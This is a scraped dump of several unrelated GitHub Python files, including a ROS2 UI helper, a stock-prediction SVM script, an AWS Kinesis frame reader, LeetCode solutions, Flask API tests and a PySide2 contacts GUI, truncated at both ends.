-> TopicInfo:\n pubs = self.node.get_publishers_info_by_topic(topic_name)\n subs = self.node.get_subscriptions_info_by_topic(topic_name)\n\n return TopicInfo(\n name=topic_name,\n types=self.__get_topic_types(topic_name),\n publishers=[\n (get_full_path(comm.node_namespace, comm.node_name), comm.topic_type)\n for comm in pubs\n ],\n subscribers=[\n (get_full_path(comm.node_namespace, comm.node_name), comm.topic_type)\n for comm in subs\n ],\n )\n\n def __get_service_types(self, service_name: str) -> list[str]:\n names_and_types = ros2service.api.get_service_names_and_types(\n node=self.node, include_hidden_services=True\n )\n for name, types in names_and_types:\n if name == service_name:\n return types\n\n return []\n\n def get_service_info(self, service_name: str) -> ServiceInfo:\n return ServiceInfo(\n name=service_name,\n types=self.__get_service_types(service_name),\n )\n\n def __get_action_types(self, action_name: str) -> list[str]:\n names_and_types = ros2action.api.get_action_names_and_types(node=self.node)\n for name, types in names_and_types:\n if name == action_name:\n return types\n\n return []\n\n def get_action_info(self, action_name: str) -> ActionInfo:\n clients, servers = ros2action.api.get_action_clients_and_servers(\n node=self.node, action_name=action_name\n )\n\n def flatten(\n name_types: list[tuple[str, list[str]]]\n ) -> t.Generator[tuple[str, str], None, None]:\n for name, types in name_types:\n if not types:\n yield name, \"\"\n else:\n for type_ in types:\n yield name, type_\n\n return ActionInfo(\n name=action_name,\n types=self.__get_action_types(action_name),\n servers=list(flatten(servers)),\n clients=list(flatten(clients)),\n )\n\n def subscribe_topic(\n self, topic_name: str, callback: t.Callable[..., t.Any]\n ) -> Subscription | None:\n types = self.__get_topic_types(topic_name)\n if types:\n qos = QoSPresetProfiles.get_from_short_key(\"sensor_data\")\n return self.node.create_subscription(\n get_message(types[0]), topic_name, callback, qos\n )\n else:\n return None\n\n def unregister_subscriber(self, sub: Subscription) -> None:\n self.node.destroy_subscription(sub)\n\n @classmethod\n def format_msg(cls, msg: t.Any, indent: int = 0) -> str:\n out = \"\"\n\n type_: str\n for field, type_ in msg.get_fields_and_field_types().items():\n val = getattr(msg, field)\n out += f\"\\n{' ' * indent}{field}:\"\n if isinstance(val, (bool, bytes, int, float)):\n out += f\" {val!r}\"\n elif isinstance(val, str):\n out += f' \"{val}\"'\n elif isinstance(val, (list, array.array, np.ndarray)):\n length = len(val)\n if length == 0:\n out += \" []\"\n elif length > DISPLAY_ARRAY_LENGTH_MAX:\n if \"[\" in type_:\n out += f' \"<{type_}>\"'\n else:\n out += f' \"<{type_}, length: {length}>\"'\n elif isinstance(val[0], (bool, bytes, int, float, str)):\n out += f\" {list(val)}\"\n else:\n for v in val:\n out += f\"\\n{' ' * (indent + 2)}-\"\n out += cls.format_msg(v, indent + 4)\n else:\n out += cls.format_msg(val, indent + 2)\n\n return out\n","repo_name":"eduidl/rtui","sub_path":"rtui/ros/ros2.py","file_name":"ros2.py","file_ext":"py","file_size_in_byte":8996,"program_lang":"python","lang":"en","doc_type":"code","stars":184,"dataset":"github-code","pt":"60"} +{"seq_id":"6121755530","text":"# Machine learning classification libraries\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import scorer\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.preprocessing import MinMaxScaler\n\n# For data manipulation\nimport pandas as pd\nimport numpy as np\nimport math\n\n# To plot\nimport matplotlib.pyplot as plt\nimport seaborn\n\n# To fetch data\nfrom pandas_datareader import data as pdr\nimport fix_yahoo_finance as yf\nyf.pdr_override()\n\ntop_tech = ['AAPL', 'AMZN', 'MSFT', 'GOOG', 'FB', 'BABA', 'TCEHY', 'NFLX', 'EBAY', 'PYPL', 'BKNG', 'CRM', 'BIDU', 'JD', 'QTT']\npenny_stocks = ['NM', 'RVLT', 'HSGX', 'TTNP', 'ESES', 'SNSS', 'GLG', 'NGD', 'LKM', 'DTRM', 'OHRP', 'AIPT']#, 'PLG', 'EGO', 'AAU', 'RRTS', 'ELGX', 'ESEA', 'UAVS', 'HEB', 'CBK', 'PGLC', 'CGIX', 'HUSA', 'CETX', 'AMCN', 'AUMN', 'IPWR', 'NVMM', 'GPL', 'TGB', 'SHIP', 'NXTD', 'BLIN', 'ALO', 'MICT', 'PTN', 'MTNB', 'THM', 'PLM', 'FLKS', 'ISR', 'PLX', 'EDGE', 'ABIO', 'ANFI', 'CPST', 'AKG', 'OESX', 'AGRX', 'SAUC']\ncompanies = penny_stocks\n\n# 1/1/12 is a Sunday\n\n#from pandas_datareader.nasdaq_trader import get_nasdaq_symbols\n#symbols = get_nasdaq_symbols()\n\ndata = pdr.get_data_yahoo(companies, \"2012-01-01\", \"2018-12-07\")\ndata.dropna()\n\ndates = list(data.index)\ndays = (data.index[-1] - data.index[0]).days\nweeks = math.ceil(days / 7.)\nweek_open, week_close, week_low, week_high, week_volume = [], [], [], [], []\nX, y, pred = [], [], []\nfor c in companies:\n last_w = -1\n open = [0] * weeks\n close = [0] * weeks\n low = [float(\"inf\")] * weeks\n high = [0] * weeks\n volume = [0] * weeks\n first_week = 0\n for i in range(len(dates)):\n w = int(((data.index[i] - data.index[0]).days + 1) / 7)\n if math.isnan(data.Open[c][i]):\n first_week = w+1\n continue\n if not w == last_w:\n open[w] = data.Open[c][i]\n if w > 0:\n close[w-1] = data.Close[c][i-1]\n last_w = w\n low[w] = min(low[w], data.Low[c][i])\n high[w] = max(high[w], data.High[c][i])\n volume[w] += data.Volume[c][i]\n close[-1] = data.Close[c][-1]\n\n week_open.append(open[first_week:])\n week_close.append(close[first_week:])\n week_high.append(high[first_week:])\n week_low.append(low[first_week:])\n week_volume.append(volume[first_week:])\n\n curr_X, curr_y = [], []\n for i in range(first_week+3,(weeks-1)):\n if close[i+1] / float(open[i]) > 1:\n curr_y.append(1)\n else:\n curr_y.append(0)\n\n vdelt1, vdelt2 = 0, 0\n if volume[i-1] > 0:\n vdelt1 = round(10*(volume[i]/float(volume[i-1])))\n if (volume[i-2]+volume[i-3]) > 0:\n vdelt2 = round(10*((volume[i]+volume[i-1])/float(volume[i-2]+volume[i-3])))\n v = [close[i]-open[i], close[i]-open[i-1], close[i]-open[i-3],\\\n high[i]-low[i], high[i]-low[i-1], high[i]-low[i-3],\\\n vdelt1, vdelt2]\n curr_X.append(v)\n X.append(curr_X)\n y.append(curr_y)\n\n pred.append([close[weeks-1]-open[weeks-1], close[weeks-1]-open[weeks-2], close[weeks-1]-open[weeks-4],\\\n high[weeks-1]-low[weeks-1], high[weeks-1]-low[weeks-2], high[weeks-1]-low[weeks-4],\\\n round(10*volume[weeks-1]/float(volume[weeks-2])),\\\n round(10*(volume[weeks-1]+volume[weeks-2])/float(volume[weeks-3]+volume[weeks-4]))])\n\nX_train, y_train = [], []\nfor i in range(len(companies)):\n size = len(week_open[i])\n split = int(0.8 * size)\n X_train += X[i][:split]\n y_train += y[i][:split]\n\nscaler = MinMaxScaler()\nX_train = scaler.fit_transform(X_train)\ncls = SVC(gamma='auto').fit(X_train, y_train)\n\nfor i in range(len(companies)):\n size = len(week_open[i])\n print('%s (%d weeks of data)' % (companies[i], size))\n split = int(0.8 * size)\n X_train, X_test = X[i][:split], X[i][split:]\n y_train, y_test = y[i][:split], y[i][split:]\n #cls = SVC(gamma='auto').fit(X_train, y_train)\n\n X_train = scaler.fit_transform(X_train)\n X_test = scaler.fit_transform(X_test)\n accuracy_train = accuracy_score(y_train, cls.predict(X_train))\n accuracy_test = accuracy_score(y_test, cls.predict(X_test))\n print('Train Accuracy:{: .2f}%'.format(accuracy_train * 100))\n print('Test Accuracy:{: .2f}%'.format(accuracy_test * 100))\n\n p = cls.predict([pred[i]])\n if p[0]:\n print('Next week: BUY\\n')\n else:\n print('Next week: SELL\\n')\nexit()\n\npredicted = cls.predict(X)\nstart = 0\nfor i in range(len(data)):\n data[i]['Predicted_Signal'] = predicted[start:(start+len(data[i]))]\n split = int(split_percentage * len(data[i]))\n start += len(data[i])\n\n #if i == 0:\n # plt.plot([data[i].index[split], data[i].index[-1]], [0,0], color='black', linewidth=1)\n\n # Calculate log returns\n data[i]['Return'] = np.log(data[i].Close.shift(-1) / data[i].Close) * 100\n data[i]['Strategy_Return'] = data[i].Return * data[i].Predicted_Signal\n data[i].Strategy_Return.iloc[split:].cumsum().plot(figsize=(15, 10), label=comps[i])\nplt.grid(True)\nplt.legend(loc='upper left')\nplt.ylabel(\"Strategy Returns (%)\")\nplt.show()\n","repo_name":"jpritt/stonk","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"39078578428","text":"import cv2\nimport boto3\nimport _pickle as cPickle\nimport json\nimport time\nimport calendar\nimport os\n\nconfig = json.load(open(\"./config.json\"))\naccess_key = config[\"Access_Key\"]\nsecret_key = config[\"Secret_Key\"]\nkinesis_shard = config[\"Kinesis_Shard_id\"]\nkinesis_client = boto3.client(\"kinesis\",\n aws_access_key_id=access_key,\n aws_secret_access_key=secret_key,\n region_name='us-east-1')\nkinesis_name = config[\"Kinesis_Name\"]\nkinesis_type = \"LATEST\"\nimage_path = \"../web/static/image/temp/\"\n\n\ndef remove_old(title):\n for file_name in os.listdir(image_path):\n try:\n file_name = file_name.split('.')[0]\n if int(file_name) < int(title.split('.')[0]):\n os.remove(image_path+file_name+'.jpg')\n except:\n pass\n\n\ndef read_video():\n shard_it = kinesis_client.get_shard_iterator(StreamName=kinesis_name,\n ShardId=kinesis_shard,\n ShardIteratorType=kinesis_type)[\"ShardIterator\"]\n\n while(True):\n out = kinesis_client.get_records(ShardIterator=shard_it, Limit=1)\n shard_it = out[\"NextShardIterator\"]\n frame, flag = decode_image(out)\n if flag:\n title = str(calendar.timegm(time.gmtime()))\n remove_old(title)\n cv2.imwrite(image_path+title+'.jpg',frame)\n time.sleep(1)\n\n\n\ndef decode_image(out):\n try:\n result = out[\"Records\"][0][\"Data\"]\n flag = True\n print('Reading')\n except:\n print ('No Stream Now')\n flag = False\n if flag:\n frame_package = cPickle.loads(result, encoding='bytes')\n frame = frame_package[b'ImageBytes']\n decimg = cv2.imdecode(frame, 1)\n cv2.imshow('test',decimg)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n pass\n return decimg, flag\n else:\n return [],flag\n\n\nif __name__ == '__main__':\n read_video()","repo_name":"shenshishenxian/WeCare","sub_path":"server/read_video.py","file_name":"read_video.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17281441101","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def binaryTreePaths(self, root: Optional[TreeNode]) -> List[str]:\n '''\n :\\Algo. 1 BF recursion with implicit function call stack.\n : TC: O(n), 7.30%, n being the number of nodes, each node is visited exactly once.\n : SC: O(h), 29.62%, h being the maximum height, worst case h=n.\n '''\n \n def paths(pt):\n if not pt:\n return []\n \n str_pt = str(pt.val)\n if pt.left:\n left_paths = paths(pt.left)\n for i in range(len(left_paths)):\n left_paths[i] = str_pt + '->' + left_paths[i]\n else:\n left_paths = []\n \n if pt.right:\n right_paths = paths(pt.right)\n for i in range(len(right_paths)):\n right_paths[i] = str_pt + '->' + right_paths[i]\n else:\n right_paths = []\n \n if not pt.left and not pt.right:\n return [str_pt]\n else:\n return left_paths + right_paths\n \n \n return paths(root)\n \n \nclass Solution:\n def binaryTreePaths(self, root: Optional[TreeNode]) -> List[str]:\n '''\n :\\Algo. 2 iteration with explicit stack, initially HAVE NO IDEA how to implement, as \n : I didn't know how to collect the paths. Key points below,\n : A. Be aware you can only traverse from root to leaf, then how do you collect paths along the way.\n : B. For each node nd, there's only one route thus one path from root to it, you need to \n : attach and record the path to the node within the stack. \n : TC: O(n), 46.35%, n being the number of nodes, each node is visited exactly once.\n : SC: O(h), 29.60%, h being the maximum height, worst case h=n.\n '''\n \n if not root:\n return []\n \n lst_res = []\n stack = [(root, str(root.val))]\n while stack:\n pt, str_path = stack.pop()\n if pt.left:\n stack.append((pt.left, str_path+'->'+str(pt.left.val)))\n if pt.right:\n stack.append((pt.right, str_path+'->'+str(pt.right.val)))\n if not pt.left and not pt.right:\n lst_res.append(str_path)\n \n return lst_res\n \n \n","repo_name":"loganchen39/Leetcode_2022","sub_path":"src/Easy/0257.E.BinaryTreePaths.py","file_name":"0257.E.BinaryTreePaths.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3509625715","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def recoverTree(self, root: Optional[TreeNode]) -> None:\n \"\"\"\n Do not return anything, modify root in-place instead.\n \"\"\"\n idx, lst = 0, []\n def dfs(root):\n if root==None: return\n dfs(root.left)\n lst.append(root.val)\n dfs(root.right)\n \n def dfs2(root):\n nonlocal idx\n if root==None: return\n dfs2(root.left)\n root.val = lst[idx]\n idx += 1\n dfs2(root.right)\n \n dfs(root)\n lst.sort()\n dfs2(root)\n ","repo_name":"subinium/Problem-Solving","sub_path":"leetcode/099-recover-binary-search-tree.py","file_name":"099-recover-binary-search-tree.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"60"} +{"seq_id":"4177964291","text":"import requests\nimport json\nfrom uuid import uuid1\nfrom unittest import TestCase\nfrom app.utils.config import get_config\n\n\nDOMAIN = get_config('TEST_DOMAIN', 'http://localhost:5000')\nURL = f'{DOMAIN}/api/v1/product'\nHEADERS = {'content-type': 'application/json'}\nPRODUCT = {\n 'name': 'Product Integration Tests 1',\n 'code': str(uuid1())[:8],\n 'price': 99.99,\n }\n\n\nclass TestProductIntegration(TestCase):\n\n def __create_product(self, product=None):\n prod = product\n if product is None:\n prod = PRODUCT.copy()\n prod.update({'code': str(uuid1())[:8]})\n return requests.post(\n URL,\n data=json.dumps(prod),\n headers=HEADERS\n )\n\n def test_find_products(self):\n resp = requests.get(URL)\n self.assertEqual(resp.status_code, 200)\n\n def test_find_product_by_id(self):\n resp = self.__create_product()\n resp_body = resp.json()\n self.assertEqual(resp.status_code, 200)\n self.assertIsNotNone(resp_body['id'])\n\n product_id = resp.json()['id']\n url = URL + '/' + str(product_id)\n resp = requests.get(url)\n resp_body = resp.json()\n self.assertEqual(resp.status_code, 200)\n self.assertEqual(resp_body['id'], product_id)\n\n def test_find_product_by_error_id_not_found(self):\n url = URL + '/' + str('999999')\n resp = requests.get(url)\n self.assertEqual(resp.status_code, 404)\n\n def test_create_product(self):\n resp = self.__create_product()\n self.assertEqual(resp.status_code, 200)\n self.assertIsNotNone(resp.json()['id'])\n\n def test_create_product_error_already_exists_code(self):\n resp = self.__create_product()\n product = resp.json()\n resp = self.__create_product(product)\n error = resp.json()\n code = product['code']\n msg = 'product code:{} already exists'.format(code)\n self.assertEqual(resp.status_code, 400)\n self.assertEqual(error['msg'], msg)\n\n def test_update_product_price(self):\n resp = self.__create_product()\n product = resp.json()\n product_id = product['id']\n self.assertEqual(resp.status_code, 200)\n self.assertIsNotNone(product_id)\n\n price = 88.88\n product['price'] = price\n url = URL + '/' + str(product_id)\n resp = requests.put(\n url,\n data=json.dumps(product),\n headers=HEADERS\n )\n\n product = resp.json()\n self.assertEqual(resp.status_code, 200)\n self.assertEqual(product['price'], price)\n self.assertIn('updated_at', product)\n\n def test_update_product_error_not_found(self):\n url = URL + '/' + str('999999')\n resp = requests.put(\n url,\n data=json.dumps(PRODUCT),\n headers=HEADERS\n )\n self.assertEqual(resp.status_code, 404)\n\n def test_delete_product(self):\n resp = self.__create_product()\n resp_body = resp.json()\n self.assertEqual(resp.status_code, 200)\n self.assertIsNotNone(resp_body['id'])\n\n product_id = resp.json()['id']\n url = URL + '/' + str(product_id)\n resp = requests.delete(url)\n self.assertEqual(resp.status_code, 204)\n\n def test_delete_product_error_not_found(self):\n url = URL + '/' + str('999999')\n resp = requests.delete(url)\n self.assertEqual(resp.status_code, 404)\n","repo_name":"rbarbioni/python-flask-api","sub_path":"tests/integration/test_product.py","file_name":"test_product.py","file_ext":"py","file_size_in_byte":3492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"26620066788","text":"flour_price = float(input())\nflour_kilos = float(input())\nsugar_kilos = float(input())\neggshells = int(input())\nyeast_packages = int(input())\n\nprice_kilo_sugar = flour_price - (flour_price * 0.25)\nprice_eggshell = flour_price * 1.10\nprice_yeast = price_kilo_sugar - (price_kilo_sugar * 0.80)\n\ntotal_price = ((flour_price * flour_kilos) + (price_kilo_sugar * sugar_kilos) + (price_eggshell * eggshells) +\n (price_yeast * yeast_packages))\n\nprint(f\"{total_price:.2f}\")\n\n","repo_name":"zlatin-r/SoftUni-Python-Basics-2023","sub_path":"July/Exam 20-21 April 2019/easter_bakery.py","file_name":"easter_bakery.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30287287208","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed May 31 14:25:13 2017\r\n\r\n@author: Qi Zhao (Homepage: zhaoqii.github.io)\r\n\"\"\"\r\nimport numpy as np\r\nimport networkx as nx\r\nimport pandas as pd\r\n\r\n# \"adjacent\" here is the adjacent matrix of China's high-speed railway network, and \"city\" is all citys' (stations')\r\n# name, as noted in readme.md. Make sure run that code before running the below\r\ndegree = np.sum(adjacent, 1) # compute the degree vector for every node\r\nI = np.array(degree / np.sum(degree)) # I is the degree of importance\r\nentro = -np.sum(np.log(I) * I) # initial network entropy based on node degree\r\n \r\ngraph = nx.from_numpy_matrix(adjacent) # create NetworkX graph\r\n#path = nx.all_pairs_shortest_path(graph, 100) #compute all shortest paths\r\nbetween = nx.betweenness_centrality(graph, normalized = True) # compute all betweeness centrality\r\n#between = nx.betweenness_centrality(graph, normalizedd = False) # compute all betweeness centrality\r\nbetween = np.array(pd.Series(between))\r\nbetween = between[np.where(between != 0)] # ensure the entropy is computable\r\nentropy = -np.sum(np.log(between) * between) # initial network entropy based on node betweeness centrality\r\n\r\n## Specific attacks test\r\ntarget = ['广州', '北京', '成都', '常州', '上海', '徐州', '石家庄', '郑州', '重庆', '杭州', '长沙', '西安']\r\n # target here contains several important cities in China, and we attack (deactivate or eliminate) them one by one \r\n # and compute the structure entropy respectively\r\ntarget_no = [city[city == x].index.tolist()[0] for x in target] # get the correspondent sequence numbers for these cities\r\nadjacent_new = adjacent.copy()\r\nentro_new = np.zeros(len(target)) # \"entro_new\" saves the entropies based on node degree after specific attacks\r\nentropy_new = np.zeros(len(target)) # \"entropy_new\" saves the entropies based on betweenness centrality after specific attacks\r\nj = 0\r\nfor item in target_no:\r\n\r\n adjacent_new[item, :] = 0 # deactivate the target cities\r\n adjacent_new[:, item] = 0\r\n \r\n degree_new = np.sum(adjacent_new, 1)\r\n \r\n I_new = np.array(degree_new / np.sum(degree_new))\r\n I_new = I_new[np.where(I_new != 0)]\r\n entro_new[j] = -np.sum(np.log(I_new) * I_new) \r\n print('Entropy based on degree:', entro_new[j])\r\n \r\n graph_new = nx.from_numpy_matrix(adjacent_new) # creat NetworkX graph\r\n between_new = nx.betweenness_centrality(graph_new, normalized = True) # compute all betweeness centrality\r\n #between = nx.betweenness_centrality(graph, normalizedd = False) # compute all betweeness centrality\r\n between_new = np.array(pd.Series(between_new))\r\n between_new = between_new[np.where(between_new != 0)]\r\n entropy_new[j] = -np.sum(np.log(between_new) * between_new)\r\n print('Entropy based on betweenness centrality:', entropy_new[j])\r\n print()\r\n j += 1\r\nentro_pct = -(entro_new - entro) / entro # compute the loss (percentage) of entropy from the initial entropy\r\nentropy_pct = -(entropy_new - entropy) / entropy\r\n","repo_name":"ZhaoQii/Betweenness-Improved-Structure-Entropy-of-Complex-Network","sub_path":"Specific Attacks.py","file_name":"Specific Attacks.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"} +{"seq_id":"7286261901","text":"\nfrom PySide2.QtWidgets import QWidget, QLabel, QLineEdit, QPushButton, QRadioButton, QHBoxLayout, QVBoxLayout, \\\n QTableWidgetItem, QTableWidget, QGroupBox, QHeaderView, QAbstractItemView, QTableView, QCheckBox, \\\n QMessageBox, QFileDialog, QSpacerItem, QSizePolicy\nfrom PySide2.QtCore import Qt, Slot\nfrom PySide2.QtGui import QPixmap\n\n\nimport csv\nimport datetime\nimport xlsxwriter\nimport styles\n\n\nfrom backend import Database\nfrom add_person import AddPerson\nfrom display_person import DisplayPerson\nfrom generator_pdf import PDF\nfrom generator_csv import CSV\n\ndb = Database(\"sr-data.db\")\n\nclass PeopleTab(QWidget):\n def __init__(self, parent):\n QWidget.__init__(self)\n self.Parent = parent\n\n self.PeoplTitle = 'PEOPLE'\n\n self.UI()\n\n @property\n def Title(self):\n return self.PeoplTitle\n\n def UI(self):\n self.widgets()\n self.layouts()\n self.funcDisplayPeople()\n\n def widgets(self):\n # People widgets ###########################################################\n # Top layout (search people) widgets\n self.searchPeopleText = QLabel(\"Search: \")\n self.searchPeopleEntry = QLineEdit()\n self.searchPeopleEntry.setPlaceholderText(\"Search people..\")\n self.searchPeopleBtn = QPushButton(\"Search\")\n self.searchPeopleBtn.clicked.connect(self.searchPeople)\n self.refreshPeopleBtn = QPushButton(\"Refresh\")\n self.refreshPeopleBtn.clicked.connect(self.funcDisplayPeople)\n\n # Middle layout (list people) widgets with radio buttons\n self.allPeopleRadioBtn = QRadioButton(\"All people\")\n self.employeesPeopleRadioBtn = QRadioButton(\"Employees\")\n self.contractorsPeopleRadioBtn = QRadioButton(\"Contractors\")\n self.subcontractorsPeopleRadioBtn = QRadioButton(\"Subcontractors\")\n self.listPeopleBtn = QPushButton(\"List\")\n self.listPeopleBtn.clicked.connect(self.funcListPeople)\n\n # Bottom layout widget, a table showing people\n self.peopleTable = QTableWidget()\n self.peopleTable.verticalHeader().hide()\n self.peopleTable.setSortingEnabled(True)\n self.peopleTable.setShowGrid(False)\n self.peopleTable.verticalHeader().setDefaultSectionSize(90)\n self.peopleTable.setColumnCount(10)\n\n # self.peopleTable.setColumnHidden(0, True)\n self.peopleTable.setHorizontalHeaderItem(0, QTableWidgetItem(\"\"))\n self.peopleTable.horizontalHeader().setSectionResizeMode(0, QHeaderView.ResizeToContents)\n self.peopleTable.setHorizontalHeaderItem(1, QTableWidgetItem(\"Photo\"))\n self.peopleTable.horizontalHeader().setSectionResizeMode(1, QHeaderView.ResizeToContents)\n self.peopleTable.setHorizontalHeaderItem(2, QTableWidgetItem(\"ID\"))\n self.peopleTable.setHorizontalHeaderItem(3, QTableWidgetItem(\"First name\"))\n self.peopleTable.horizontalHeader().setSectionResizeMode(3, QHeaderView.Stretch)\n self.peopleTable.setHorizontalHeaderItem(4, QTableWidgetItem(\"Last name\"))\n self.peopleTable.horizontalHeader().setSectionResizeMode(4, QHeaderView.Stretch)\n self.peopleTable.setHorizontalHeaderItem(5, QTableWidgetItem(\"Title\"))\n self.peopleTable.setHorizontalHeaderItem(6, QTableWidgetItem(\"Phone\"))\n self.peopleTable.horizontalHeader().setSectionResizeMode(6, QHeaderView.Stretch)\n self.peopleTable.setHorizontalHeaderItem(7, QTableWidgetItem(\"Email\"))\n self.peopleTable.horizontalHeader().setSectionResizeMode(7, QHeaderView.Stretch)\n self.peopleTable.setHorizontalHeaderItem(8, QTableWidgetItem(\"Location\"))\n self.peopleTable.setHorizontalHeaderItem(9, QTableWidgetItem(\"Employment type\"))\n self.peopleTable.horizontalHeader().setSectionResizeMode(9, QHeaderView.ResizeToContents)\n\n # Double clicking a row opens a window with person details\n self.peopleTable.doubleClicked.connect(self.selectedPerson)\n\n # Buttons for actions on selected people\n self.addPerson = QPushButton(\"Add\")\n self.addPerson.clicked.connect(self.funcAddPerson)\n self.viewPerson = QPushButton(\"View/Edit\")\n self.viewPerson.clicked.connect(self.selectedPerson)\n self.deletePerson = QPushButton(\"Delete\")\n self.deletePerson.clicked.connect(self.funcDeletePerson)\n\n self.exportPeopleCSVBtn = QPushButton(\"Export CSV\")\n self.exportPeopleCSVBtn.setEnabled(False)\n self.exportPeopleCSVBtn.clicked.connect(self.funcPeopleToCSV)\n\n self.exportPeopleXLSXBtn = QPushButton(\"Export XLSX\")\n self.exportPeopleXLSXBtn.setEnabled(False)\n self.exportPeopleXLSXBtn.clicked.connect(self.funcPeopleToXLSX)\n\n self.exportPeoplePDFBtn = QPushButton(\"Export PDF\")\n self.exportPeoplePDFBtn.setEnabled(False)\n self.exportPeoplePDFBtn.clicked.connect(self.funcPeopleToPdf)\n\n\n def layouts(self):\n # People layouts ###########################################################\n self.peopleMainLayout = QVBoxLayout()\n self.peopleMainTopLayout = QHBoxLayout()\n self.peopleTopLeftLayout = QHBoxLayout()\n self.peopleTopRightLayout = QHBoxLayout()\n\n # self.peopleMainMiddleLayout = QHBoxLayout()\n self.peopleMainBottomLayout = QHBoxLayout()\n self.peopleBottomRightLayout = QVBoxLayout()\n self.peopleBottomLeftLayout = QHBoxLayout()\n \n # Groupboxes allows customization using CSS-like syntax\n # self.peopleTopGroupBox = QGroupBox()\n # self.peopleTopGroupBoxRightFiller = QGroupBox()\n # self.peopleMiddleGroupBox = QGroupBox()\n # self.peopleMiddleGroupBoxRightFiller = QGroupBox()\n\n self.peopleTopLeftGroupBox = QGroupBox()\n self.peopleTopRightGroupBox = QGroupBox()\n self.peopleTopGroupBox = QGroupBox()\n\n self.peopleBottomGroupBox = QGroupBox()\n self.peopleBottomLeftGroupBox = QGroupBox()\n\n self.peopleBottomRightGroupBox = QGroupBox()\n self.peopleBottomRightGroupBox.setStyleSheet('QGroupBox {margin-top: 0px;}')\n self.peopleBottomRightGroupBoxFiller = QGroupBox()\n self.peopleBottomRightGroupBoxFiller.setStyleSheet(styles.groupBoxFillerStyle())\n\n # Top layout (search box) widgets\n self.peopleTopLeftLayout.addWidget(self.searchPeopleText, 10)\n self.peopleTopLeftLayout.addWidget(self.searchPeopleEntry, 30)\n self.peopleTopLeftLayout.addWidget(self.searchPeopleBtn, 10)\n self.peopleTopLeftLayout.addItem(QSpacerItem(70, 40, QSizePolicy.Minimum, QSizePolicy.Expanding))\n self.peopleTopLeftLayout.addWidget(self.refreshPeopleBtn, 10)\n self.peopleTopLeftGroupBox.setLayout(self.peopleTopLeftLayout)\n\n # Middle layout (list box) widgets\n self.peopleTopRightLayout.addWidget(self.allPeopleRadioBtn)\n self.peopleTopRightLayout.addWidget(self.employeesPeopleRadioBtn)\n self.peopleTopRightLayout.addWidget(self.contractorsPeopleRadioBtn)\n self.peopleTopRightLayout.addWidget(self.subcontractorsPeopleRadioBtn)\n self.peopleTopRightLayout.addWidget(self.listPeopleBtn)\n self.peopleTopRightGroupBox.setLayout(self.peopleTopRightLayout)\n\n self.peopleMainTopLayout.addWidget(self.peopleTopLeftGroupBox, 60)\n self.peopleMainTopLayout.addWidget(self.peopleTopRightGroupBox, 40)\n\n # Bottom layout (table with issues) widgets\n # Bottom left layout with table\n self.peopleBottomLeftLayout.addWidget(self.peopleTable)\n self.peopleBottomLeftGroupBox.setLayout(self.peopleBottomLeftLayout)\n\n # Bottom right layout with buttons\n self.peopleBottomRightLayout.addWidget(self.addPerson, 5)\n self.peopleBottomRightLayout.addWidget(self.viewPerson, 5)\n self.peopleBottomRightLayout.addWidget(self.deletePerson, 5)\n self.peopleBottomRightLayout.addWidget(self.peopleBottomRightGroupBoxFiller, 70)\n self.peopleBottomRightLayout.addWidget(self.exportPeopleCSVBtn, 5)\n self.peopleBottomRightLayout.addWidget(self.exportPeopleXLSXBtn, 5)\n self.peopleBottomRightLayout.addWidget(self.exportPeoplePDFBtn, 5)\n self.peopleBottomRightGroupBox.setLayout(self.peopleBottomRightLayout)\n\n self.peopleMainBottomLayout.addWidget(self.peopleTable, 90)\n self.peopleMainBottomLayout.addWidget(self.peopleBottomRightGroupBox, 10)\n\n # self.peopleMainLayout.addWidget(self.peopleTopGroupBox, 10)\n # self.peopleMainLayout.addWidget(self.peopleMiddleGroupBox, 10)\n # self.peopleMainLayout.addLayout(self.peopleMainBottomLayout, 80)\n\n self.peopleMainLayout.addLayout(self.peopleMainTopLayout, 10)\n self.peopleMainLayout.addLayout(self.peopleMainBottomLayout, 90)\n\n self.setLayout(self.peopleMainLayout)\n\n @Slot()\n def funcDisplayPeople(self):\n for i in reversed(range(self.peopleTable.rowCount())):\n self.peopleTable.removeRow(i)\n\n cur = db.cur\n people = cur.execute(\"SELECT * FROM people\")\n\n for row_data in people:\n row_number = self.peopleTable.rowCount()\n self.peopleTable.insertRow(row_number)\n # Add checkboxes to the table\n widget = QWidget()\n checkBox = QCheckBox()\n checkBox.setCheckState(Qt.Unchecked)\n checkBox.stateChanged.connect(self.funcActivateBtnsWithCheckbox)\n hBoxLayout = QHBoxLayout(widget)\n hBoxLayout.addWidget(checkBox)\n hBoxLayout.setAlignment(Qt.AlignCenter)\n self.peopleTable.setCellWidget(row_number, 0, widget)\n self.peopleTable.setItem(row_number, 0, QTableWidgetItem(row_number))\n # Add photo photos_thumbnails to the table\n thumbWidget = QWidget()\n pic = QPixmap(str(row_data[10]))\n thumbLabel = QLabel()\n thumbLabel.setPixmap(pic)\n thumbLayout = QHBoxLayout(thumbWidget)\n thumbLayout.addWidget(thumbLabel)\n self.peopleTable.setCellWidget(row_number, 1, thumbWidget)\n self.peopleTable.setItem(row_number, 0, QTableWidgetItem(row_number))\n # Fill the rest of the data\n for column_number, data in enumerate(row_data, start=2):\n if 